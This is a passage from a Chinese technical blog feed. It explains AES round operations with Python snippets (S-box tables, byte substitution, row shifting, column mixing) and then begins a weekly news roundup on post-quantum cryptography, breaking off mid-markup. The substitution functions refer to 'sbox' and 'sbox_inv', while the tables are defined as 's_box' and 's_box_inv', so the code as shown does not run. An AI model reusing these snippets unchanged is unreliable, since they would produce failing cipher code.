3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g><g data-mml-node="mn" transform="translate(533,363) scale(0.707)"><path data-c="38" d="M70 417T70 494T124 618T248 666Q319 666 374 624T429 515Q429 485 418 459T392 417T361 389T335 371T324 363L338 354Q352 344 366 334T382 323Q457 264 457 174Q457 95 399 37T249 -22Q159 -22 101 29T43 155Q43 263 172 335L154 348Q133 361 127 368Q70 417 70 494ZM286 386L292 390Q298 394 301 396T311 403T323 413T334 425T345 438T355 454T364 471T369 491T371 513Q371 556 342 586T275 624Q268 625 242 625Q201 625 165 599T128 534Q128 511 141 492T167 463T217 431Q224 426 228 424L286 386ZM250 21Q308 21 350 55T392 137Q392 154 387 169T375 194T353 216T330 234T301 253T274 270Q260 279 244 289T218 306L210 311Q204 311 181 294T133 239T107 157Q107 98 150 60T250 21Z"></path></g></g><g data-mml-node="mo" transform="translate(2792.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container> 群上的高次多项式，这让密钥与密文之间形成的复杂的非线形关系，增加了从密文反推出密钥的难度<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">s_box = (</span><br><span class="line">    <span class="number">0x63</span>, <span class="number">0x7C</span>, <span class="number">0x77</span>, <span class="number">0x7B</span>, <span class="number">0xF2</span>, <span class="number">0x6B</span>, <span class="number">0x6F</span>, <span class="number">0xC5</span>, <span class="number">0x30</span>, <span class="number">0x01</span>, <span class="number">0x67</span>, <span class="number">0x2B</span>, <span class="number">0xFE</span>, <span class="number">0xD7</span>, <span class="number">0xAB</span>, <span class="number">0x76</span>,</span><br><span class="line">    <span class="number">0xCA</span>, <span class="number">0x82</span>, <span class="number">0xC9</span>, <span class="number">0x7D</span>, <span class="number">0xFA</span>, <span class="number">0x59</span>, <span class="number">0x47</span>, <span class="number">0xF0</span>, <span class="number">0xAD</span>, <span class="number">0xD4</span>, <span class="number">0xA2</span>, <span class="number">0xAF</span>, <span class="number">0x9C</span>, <span class="number">0xA4</span>, <span class="number">0x72</span>, <span class="number">0xC0</span>,</span><br><span class="line">    <span class="number">0xB7</span>, <span class="number">0xFD</span>, <span class="number">0x93</span>, <span class="number">0x26</span>, <span class="number">0x36</span>, <span class="number">0x3F</span>, <span class="number">0xF7</span>, <span class="number">0xCC</span>, <span class="number">0x34</span>, <span class="number">0xA5</span>, <span class="number">0xE5</span>, <span class="number">0xF1</span>, <span class="number">0x71</span>, <span class="number">0xD8</span>, <span class="number">0x31</span>, <span class="number">0x15</span>,</span><br><span class="line">    <span class="number">0x04</span>, <span class="number">0xC7</span>, <span class="number">0x23</span>, <span class="number">0xC3</span>, <span class="number">0x18</span>, <span class="number">0x96</span>, <span class="number">0x05</span>, <span class="number">0x9A</span>, <span class="number">0x07</span>, <span class="number">0x12</span>, <span class="number">0x80</span>, <span class="number">0xE2</span>, <span class="number">0xEB</span>, <span class="number">0x27</span>, <span class="number">0xB2</span>, <span class="number">0x75</span>,</span><br><span class="line">    <span class="number">0x09</span>, <span class="number">0x83</span>, <span class="number">0x2C</span>, <span class="number">0x1A</span>, <span class="number">0x1B</span>, <span class="number">0x6E</span>, <span class="number">0x5A</span>, <span class="number">0xA0</span>, <span class="number">0x52</span>, <span class="number">0x3B</span>, <span class="number">0xD6</span>, <span class="number">0xB3</span>, <span class="number">0x29</span>, <span class="number">0xE3</span>, <span class="number">0x2F</span>, <span class="number">0x84</span>,</span><br><span class="line">    <span class="number">0x53</span>, <span class="number">0xD1</span>, <span class="number">0x00</span>, <span class="number">0xED</span>, <span class="number">0x20</span>, <span class="number">0xFC</span>, <span class="number">0xB1</span>, <span class="number">0x5B</span>, <span class="number">0x6A</span>, <span class="number">0xCB</span>, <span class="number">0xBE</span>, <span class="number">0x39</span>, <span class="number">0x4A</span>, <span class="number">0x4C</span>, <span class="number">0x58</span>, <span class="number">0xCF</span>,</span><br><span class="line">    <span class="number">0xD0</span>, <span class="number">0xEF</span>, <span class="number">0xAA</span>, <span class="number">0xFB</span>, <span class="number">0x43</span>, <span class="number">0x4D</span>, <span class="number">0x33</span>, <span class="number">0x85</span>, <span class="number">0x45</span>, <span class="number">0xF9</span>, <span class="number">0x02</span>, <span class="number">0x7F</span>, <span class="number">0x50</span>, <span class="number">0x3C</span>, <span class="number">0x9F</span>, <span class="number">0xA8</span>,</span><br><span class="line">    <span class="number">0x51</span>, <span class="number">0xA3</span>, <span class="number">0x40</span>, <span class="number">0x8F</span>, <span class="number">0x92</span>, <span class="number">0x9D</span>, <span class="number">0x38</span>, <span class="number">0xF5</span>, <span class="number">0xBC</span>, <span class="number">0xB6</span>, <span class="number">0xDA</span>, <span class="number">0x21</span>, <span class="number">0x10</span>, <span class="number">0xFF</span>, <span class="number">0xF3</span>, <span class="number">0xD2</span>,</span><br><span class="line">    <span class="number">0xCD</span>, <span class="number">0x0C</span>, <span class="number">0x13</span>, <span class="number">0xEC</span>, <span class="number">0x5F</span>, <span class="number">0x97</span>, <span class="number">0x44</span>, <span class="number">0x17</span>, <span class="number">0xC4</span>, <span class="number">0xA7</span>, <span class="number">0x7E</span>, <span class="number">0x3D</span>, <span class="number">0x64</span>, <span class="number">0x5D</span>, <span class="number">0x19</span>, <span class="number">0x73</span>,</span><br><span class="line">    <span class="number">0x60</span>, <span class="number">0x81</span>, <span class="number">0x4F</span>, <span class="number">0xDC</span>, <span class="number">0x22</span>, <span class="number">0x2A</span>, <span class="number">0x90</span>, <span class="number">0x88</span>, <span class="number">0x46</span>, <span class="number">0xEE</span>, <span class="number">0xB8</span>, <span class="number">0x14</span>, <span class="number">0xDE</span>, <span class="number">0x5E</span>, <span class="number">0x0B</span>, <span class="number">0xDB</span>,</span><br><span class="line">    <span class="number">0xE0</span>, <span class="number">0x32</span>, <span class="number">0x3A</span>, <span class="number">0x0A</span>, <span class="number">0x49</span>, <span class="number">0x06</span>, <span class="number">0x24</span>, <span class="number">0x5C</span>, <span class="number">0xC2</span>, <span class="number">0xD3</span>, <span class="number">0xAC</span>, <span class="number">0x62</span>, <span class="number">0x91</span>, <span class="number">0x95</span>, <span class="number">0xE4</span>, <span class="number">0x79</span>,</span><br><span class="line">    <span class="number">0xE7</span>, <span class="number">0xC8</span>, <span class="number">0x37</span>, <span class="number">0x6D</span>, <span class="number">0x8D</span>, <span class="number">0xD5</span>, <span class="number">0x4E</span>, <span class="number">0xA9</span>, <span class="number">0x6C</span>, <span class="number">0x56</span>, <span class="number">0xF4</span>, <span class="number">0xEA</span>, <span class="number">0x65</span>, <span class="number">0x7A</span>, <span class="number">0xAE</span>, <span class="number">0x08</span>,</span><br><span class="line">    <span class="number">0xBA</span>, <span class="number">0x78</span>, <span class="number">0x25</span>, <span class="number">0x2E</span>, <span class="number">0x1C</span>, <span class="number">0xA6</span>, <span class="number">0xB4</span>, <span class="number">0xC6</span>, <span class="number">0xE8</span>, <span class="number">0xDD</span>, <span class="number">0x74</span>, <span class="number">0x1F</span>, <span class="number">0x4B</span>, <span class="number">0xBD</span>, <span class="number">0x8B</span>, <span class="number">0x8A</span>,</span><br><span class="line">    <span class="number">0x70</span>, <span class="number">0x3E</span>, <span class="number">0xB5</span>, <span class="number">0x66</span>, <span class="number">0x48</span>, <span class="number">0x03</span>, <span class="number">0xF6</span>, <span class="number">0x0E</span>, <span class="number">0x61</span>, <span class="number">0x35</span>, <span class="number">0x57</span>, <span class="number">0xB9</span>, <span class="number">0x86</span>, <span class="number">0xC1</span>, <span class="number">0x1D</span>, <span class="number">0x9E</span>,</span><br><span class="line">    <span class="number">0xE1</span>, <span class="number">0xF8</span>, <span class="number">0x98</span>, <span class="number">0x11</span>, <span class="number">0x69</span>, <span class="number">0xD9</span>, <span class="number">0x8E</span>, <span class="number">0x94</span>, <span class="number">0x9B</span>, <span class="number">0x1E</span>, <span class="number">0x87</span>, <span class="number">0xE9</span>, <span class="number">0xCE</span>, <span class="number">0x55</span>, <span class="number">0x28</span>, <span class="number">0xDF</span>,</span><br><span class="line">    <span class="number">0x8C</span>, <span class="number">0xA1</span>, <span class="number">0x89</span>, <span class="number">0x0D</span>, <span class="number">0xBF</span>, <span class="number">0xE6</span>, <span class="number">0x42</span>, <span class="number">0x68</span>, <span class="number">0x41</span>, <span class="number">0x99</span>, <span class="number">0x2D</span>, <span class="number">0x0F</span>, <span class="number">0xB0</span>, <span class="number">0x54</span>, <span class="number">0xBB</span>, <span class="number">0x16</span>,</span><br><span class="line">)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sub_bytes</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">            s[i][j] = sbox[s[i][j]]</span><br></pre></td></tr></table></figure></li></ul><h4 id="逆运算-1"><a href="#逆运算-1" class="headerlink" title="逆运算"></a>逆运算</h4><ul><li>由于 S 盒是一个双射，可以构造出一个逆向的 S 盒来实现反向替换<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">s_box_inv = (</span><br><span class="line">    <span class="number">0x52</span>, <span class="number">0x09</span>, <span class="number">0x6A</span>, <span class="number">0xD5</span>, <span class="number">0x30</span>, <span class="number">0x36</span>, <span class="number">0xA5</span>, <span class="number">0x38</span>, <span class="number">0xBF</span>, <span class="number">0x40</span>, <span class="number">0xA3</span>, <span class="number">0x9E</span>, <span class="number">0x81</span>, <span class="number">0xF3</span>, <span class="number">0xD7</span>, <span class="number">0xFB</span>,</span><br><span class="line">    <span class="number">0x7C</span>, <span class="number">0xE3</span>, <span class="number">0x39</span>, <span class="number">0x82</span>, <span class="number">0x9B</span>, <span class="number">0x2F</span>, <span class="number">0xFF</span>, <span class="number">0x87</span>, <span class="number">0x34</span>, <span class="number">0x8E</span>, <span class="number">0x43</span>, <span class="number">0x44</span>, <span class="number">0xC4</span>, <span class="number">0xDE</span>, <span class="number">0xE9</span>, <span class="number">0xCB</span>,</span><br><span class="line">    <span class="number">0x54</span>, <span class="number">0x7B</span>, <span class="number">0x94</span>, <span class="number">0x32</span>, <span class="number">0xA6</span>, <span class="number">0xC2</span>, <span class="number">0x23</span>, <span class="number">0x3D</span>, <span class="number">0xEE</span>, <span class="number">0x4C</span>, <span class="number">0x95</span>, <span class="number">0x0B</span>, <span class="number">0x42</span>, <span class="number">0xFA</span>, <span class="number">0xC3</span>, <span class="number">0x4E</span>,</span><br><span class="line">    <span class="number">0x08</span>, <span class="number">0x2E</span>, <span class="number">0xA1</span>, <span class="number">0x66</span>, <span class="number">0x28</span>, <span class="number">0xD9</span>, <span class="number">0x24</span>, <span class="number">0xB2</span>, <span class="number">0x76</span>, <span class="number">0x5B</span>, <span class="number">0xA2</span>, <span class="number">0x49</span>, <span class="number">0x6D</span>, <span class="number">0x8B</span>, <span class="number">0xD1</span>, <span class="number">0x25</span>,</span><br><span class="line">    <span class="number">0x72</span>, <span class="number">0xF8</span>, <span class="number">0xF6</span>, <span class="number">0x64</span>, <span class="number">0x86</span>, <span class="number">0x68</span>, <span class="number">0x98</span>, <span class="number">0x16</span>, <span class="number">0xD4</span>, <span class="number">0xA4</span>, <span class="number">0x5C</span>, <span class="number">0xCC</span>, <span class="number">0x5D</span>, <span class="number">0x65</span>, <span class="number">0xB6</span>, <span class="number">0x92</span>,</span><br><span class="line">    <span class="number">0x6C</span>, <span class="number">0x70</span>, <span class="number">0x48</span>, <span class="number">0x50</span>, <span class="number">0xFD</span>, <span class="number">0xED</span>, <span class="number">0xB9</span>, <span class="number">0xDA</span>, <span class="number">0x5E</span>, <span class="number">0x15</span>, <span class="number">0x46</span>, <span class="number">0x57</span>, <span class="number">0xA7</span>, <span class="number">0x8D</span>, <span class="number">0x9D</span>, <span class="number">0x84</span>,</span><br><span class="line">    <span class="number">0x90</span>, <span class="number">0xD8</span>, <span class="number">0xAB</span>, <span class="number">0x00</span>, <span class="number">0x8C</span>, <span class="number">0xBC</span>, <span class="number">0xD3</span>, <span class="number">0x0A</span>, <span class="number">0xF7</span>, <span class="number">0xE4</span>, <span class="number">0x58</span>, <span class="number">0x05</span>, <span class="number">0xB8</span>, <span class="number">0xB3</span>, <span class="number">0x45</span>, <span class="number">0x06</span>,</span><br><span class="line">    <span class="number">0xD0</span>, <span class="number">0x2C</span>, <span class="number">0x1E</span>, <span class="number">0x8F</span>, <span class="number">0xCA</span>, <span class="number">0x3F</span>, <span class="number">0x0F</span>, <span class="number">0x02</span>, <span class="number">0xC1</span>, <span class="number">0xAF</span>, <span class="number">0xBD</span>, <span class="number">0x03</span>, <span class="number">0x01</span>, <span class="number">0x13</span>, <span class="number">0x8A</span>, <span class="number">0x6B</span>,</span><br><span class="line">    <span class="number">0x3A</span>, <span class="number">0x91</span>, <span class="number">0x11</span>, <span class="number">0x41</span>, <span class="number">0x4F</span>, <span class="number">0x67</span>, <span class="number">0xDC</span>, <span class="number">0xEA</span>, <span class="number">0x97</span>, <span class="number">0xF2</span>, <span class="number">0xCF</span>, <span class="number">0xCE</span>, <span class="number">0xF0</span>, <span class="number">0xB4</span>, <span class="number">0xE6</span>, <span class="number">0x73</span>,</span><br><span class="line">    <span class="number">0x96</span>, <span class="number">0xAC</span>, <span class="number">0x74</span>, <span class="number">0x22</span>, <span class="number">0xE7</span>, <span class="number">0xAD</span>, <span class="number">0x35</span>, <span class="number">0x85</span>, <span class="number">0xE2</span>, <span class="number">0xF9</span>, <span class="number">0x37</span>, <span class="number">0xE8</span>, <span class="number">0x1C</span>, <span class="number">0x75</span>, <span class="number">0xDF</span>, <span class="number">0x6E</span>,</span><br><span class="line">    <span class="number">0x47</span>, <span class="number">0xF1</span>, <span class="number">0x1A</span>, <span class="number">0x71</span>, <span class="number">0x1D</span>, <span class="number">0x29</span>, <span class="number">0xC5</span>, <span class="number">0x89</span>, <span class="number">0x6F</span>, <span class="number">0xB7</span>, <span class="number">0x62</span>, <span class="number">0x0E</span>, <span class="number">0xAA</span>, <span class="number">0x18</span>, <span class="number">0xBE</span>, <span class="number">0x1B</span>,</span><br><span class="line">    <span class="number">0xFC</span>, <span class="number">0x56</span>, <span class="number">0x3E</span>, <span class="number">0x4B</span>, <span class="number">0xC6</span>, <span class="number">0xD2</span>, <span class="number">0x79</span>, <span class="number">0x20</span>, <span class="number">0x9A</span>, <span class="number">0xDB</span>, <span class="number">0xC0</span>, <span class="number">0xFE</span>, <span class="number">0x78</span>, <span class="number">0xCD</span>, <span class="number">0x5A</span>, <span class="number">0xF4</span>,</span><br><span class="line">    <span class="number">0x1F</span>, <span class="number">0xDD</span>, <span class="number">0xA8</span>, <span class="number">0x33</span>, <span class="number">0x88</span>, <span class="number">0x07</span>, <span class="number">0xC7</span>, <span class="number">0x31</span>, <span class="number">0xB1</span>, <span class="number">0x12</span>, <span class="number">0x10</span>, <span class="number">0x59</span>, <span class="number">0x27</span>, <span class="number">0x80</span>, <span class="number">0xEC</span>, <span class="number">0x5F</span>,</span><br><span class="line">    <span class="number">0x60</span>, <span class="number">0x51</span>, <span class="number">0x7F</span>, <span class="number">0xA9</span>, <span class="number">0x19</span>, <span class="number">0xB5</span>, <span class="number">0x4A</span>, <span class="number">0x0D</span>, <span class="number">0x2D</span>, <span class="number">0xE5</span>, <span class="number">0x7A</span>, <span class="number">0x9F</span>, <span class="number">0x93</span>, <span class="number">0xC9</span>, <span class="number">0x9C</span>, <span class="number">0xEF</span>,</span><br><span class="line">    <span class="number">0xA0</span>, <span class="number">0xE0</span>, <span class="number">0x3B</span>, <span class="number">0x4D</span>, <span class="number">0xAE</span>, <span class="number">0x2A</span>, <span class="number">0xF5</span>, <span class="number">0xB0</span>, <span class="number">0xC8</span>, <span class="number">0xEB</span>, <span class="number">0xBB</span>, <span class="number">0x3C</span>, <span class="number">0x83</span>, <span class="number">0x53</span>, <span class="number">0x99</span>, <span class="number">0x61</span>,</span><br><span class="line">    <span class="number">0x17</span>, <span class="number">0x2B</span>, <span class="number">0x04</span>, <span class="number">0x7E</span>, <span class="number">0xBA</span>, <span class="number">0x77</span>, <span class="number">0xD6</span>, <span class="number">0x26</span>, <span class="number">0xE1</span>, <span class="number">0x69</span>, <span class="number">0x14</span>, <span class="number">0x63</span>, <span class="number">0x55</span>, <span class="number">0x21</span>, <span class="number">0x0C</span>, <span class="number">0x7D</span>,</span><br><span class="line">)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sub_bytes_inv</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">            s[i][j] = sbox_inv[s[i][j]]</span><br></pre></td></tr></table></figure></li></ul><h4 id="行移位"><a href="#行移位" class="headerlink" title="行移位"></a>行移位</h4><ul><li>将状态矩阵第 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.357ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 600 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container> 行向左循环移动 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="5.254ex" height="1.692ex" role="img" focusable="false" viewBox="0 -666 2322.4 748"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(822.2,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(1822.4,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></svg></mjx-container> 位</li><li>该运算与后续的列混合扩散了每个输入字节对于输出的影响范围，这防止了密码分析手段通过少量的密文字节来还原某个明文字节<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">shift_rows</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">       s[i][<span class="number">0</span>], s[i][<span class="number">1</span>], s[i][<span class="number">2</span>], s[i][<span class="number">3</span>] = s[i][i%<span class="number">4</span>], s[i][(<span class="number">1</span>+i)%<span class="number">4</span>], s[i][(<span class="number">2</span>+i)%<span class="number">4</span>], s[i][(<span class="number">3</span>+i)%<span class="number">4</span>] </span><br></pre></td></tr></table></figure></li></ul><h5 id="逆运算-2"><a href="#逆运算-2" class="headerlink" title="逆运算"></a>逆运算</h5><ul><li>移动方向改为向右来抵消该运算<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">shift_rows_inv</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">       s[i][<span class="number">0</span>], s[i][<span class="number">1</span>], s[i][<span class="number">2</span>], s[i][<span class="number">3</span>] = s[i][(-i)%<span class="number">4</span>], s[i][(<span class="number">1</span>-i)%<span class="number">4</span>], s[i][(<span class="number">2</span>-i)%<span class="number">4</span>], s[i][(<span class="number">3</span>-i)%<span class="number">4</span>] </span><br></pre></td></tr></table></figure></li></ul><h4 id="列混合"><a href="#列混合" class="headerlink" title="列混合"></a>列混合</h4><ul><li>将一个固定的矩阵乘上状态矩阵（矩阵乘法），在最终轮跳过此步</li><li>该运算使得输出的每个元素为原矩阵对应列元素的线性组合，扩散了每个输入字节对于输出的影响范围<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">xtime = <span class="keyword">lambda</span> a: (((a &lt;&lt; <span class="number">1</span>) ^ <span class="number">0x1B</span>) &amp; <span class="number">0xFF</span>) <span class="keyword">if</span> (a &amp; <span class="number">0x80</span>) <span class="keyword">else</span> (a &lt;&lt; <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mix_single_column</span>(<span class="params">a</span>):</span><br><span class="line">    t = a[<span class="number">0</span>] ^ a[<span class="number">1</span>] ^ a[<span class="number">2</span>] ^ a[<span class="number">3</span>]</span><br><span class="line">    u = a[<span class="number">0</span>]</span><br><span class="line">    a[<span class="number">0</span>] ^= t ^ xtime(a[<span class="number">0</span>] ^ a[<span class="number">1</span>])</span><br><span class="line">    a[<span class="number">1</span>] ^= t ^ xtime(a[<span class="number">1</span>] ^ a[<span class="number">2</span>])</span><br><span class="line">    a[<span class="number">2</span>] ^= t ^ xtime(a[<span class="number">2</span>] ^ a[<span class="number">3</span>])</span><br><span class="line">    a[<span class="number">3</span>] ^= t ^ xtime(a[<span class="number">3</span>] ^ u)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mix_columns</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">        mix_single_column(s[i])</span><br></pre></td></tr></table></figure></li></ul><h5 id="逆运算-3"><a href="#逆运算-3" class="headerlink" title="逆运算"></a>逆运算</h5><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">mix_columns_inv</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="comment"># see Sec 4.1.3 in The Design of Rijndael</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">        u = xtime(xtime(s[i][<span class="number">0</span>] ^ s[i][<span class="number">2</span>]))</span><br><span class="line">        v = xtime(xtime(s[i][<span class="number">1</span>] ^ s[i][<span class="number">3</span>]))</span><br><span class="line">        s[i][<span class="number">0</span>] ^= u</span><br><span class="line">        s[i][<span class="number">1</span>] ^= v</span><br><span class="line">        s[i][<span class="number">2</span>] ^= u</span><br><span class="line">        s[i][<span class="number">3</span>] ^= v</span><br></pre></td></tr></table></figure><h4 id="密钥相加-1"><a href="#密钥相加-1" class="headerlink" title="密钥相加"></a>密钥相加</h4><ul><li>使用本轮密钥对状态矩阵进行一次 XOR 运算</li><li>实现类似初次密钥相加</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AES 的加密流程可被拆分为为多轮次的 XOR 运算，中间夹杂着各种重新排列以及线性映射，这些简单的运算组合起来形成了强力的壁垒</p><img src="/images/aes.png" alt="图片加载出错啦!" style="width: 40%">]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="theory" scheme="https://www.fireflycamp.net/categories/theory/"/>
    
    
    <category term="Crypto" scheme="https://www.fireflycamp.net/tags/Crypto/"/>
    
    <category term="Algebra" scheme="https://www.fireflycamp.net/tags/Algebra/"/>
    
    <category term="AES" scheme="https://www.fireflycamp.net/tags/AES/"/>
    
  </entry>
  
  <entry>
    <title>周刊：密码学专场</title>
    <link href="https://www.fireflycamp.net/2025/07/08/%E5%91%A8%E5%88%8A-250708/"/>
    <id>https://www.fireflycamp.net/2025/07/08/%E5%91%A8%E5%88%8A-250708/</id>
    <published>2025-07-07T17:45:42.000Z</published>
    <updated>2025-07-08T19:10:58.006Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>这里记录每周值得分享的新闻。</p><h1 id="封面图"><a href="#封面图" class="headerlink" title="封面图"></a>封面图</h1><img src="/images/quantum-bitcoin.png" alt="图片加载出错啦!" style="width: 100%" /><h1 id="美听证会呼吁紧急应对量子威胁"><a href="#美听证会呼吁紧急应对量子威胁" class="headerlink" title="美听证会呼吁紧急应对量子威胁"></a>美听证会呼吁紧急应对量子威胁</h1><p>6月24日，美国网络安全、信息技术与政府创新小组委员会举办了听证会，讨论了量子计算机对于加密技术的威胁。会议指出如果行业继续按预期速度发展，量子计算机将具备破解非对称加密的能力，进而威胁到个人、政府以及关键基础设施所依赖的加密方法。会议呼吁国会立法确保后量子密码学的快速应用并拨款支持这一转型过程。</p><img src="/images/prepare-quantum.png" alt="图片加载出错啦!" style="width: 100%" /><h1 id="国内首张后量子密码卡发布"><a href="#国内首张后量子密码卡发布" class="headerlink" title="国内首张后量子密码卡发布"></a>国内首张后量子密码卡发布</h1><p>7月3日，安徽问天量子科技股份有限公司联合华中科技大学研发的芯片级后量子密码卡正式发布。后量子密码技术是一种能够在现有计算机上抵抗未来量子计算机攻击能力的数学密码系统。研发团队表示该芯片可在党政、金融、通信、能源等关键基础设施领域实现广泛应用。</p><img src="/images/crypto-card.png" alt="图片加载出错啦!" style="width: 100%" /><h1 id="SEALSQ-推进后量子密码学"><a href="#SEALSQ-推进后量子密码学" class="headerlink" title="SEALSQ 推进后量子密码学"></a>SEALSQ 推进后量子密码学</h1><p>近日，市值4.76亿美元的半导体和安全技术公司 SEALSQ Crop 宣布在后量子密码学领域取得新进展，旨在保护比特币和区块链网络免受量子计算威胁。行业分析表明，量子计算正接近能够破解支撑主要加密货币的椭圆曲线密码学的能力。SEALSQ 的技术专注于开发具有量子抗性密码学的半导体，应用于能源系统、医疗系统以及IT基础设施等领域。</p><img src="/images/mpupf2.jpg" alt="图片加载出错啦!" style="width: 100%" /><h1 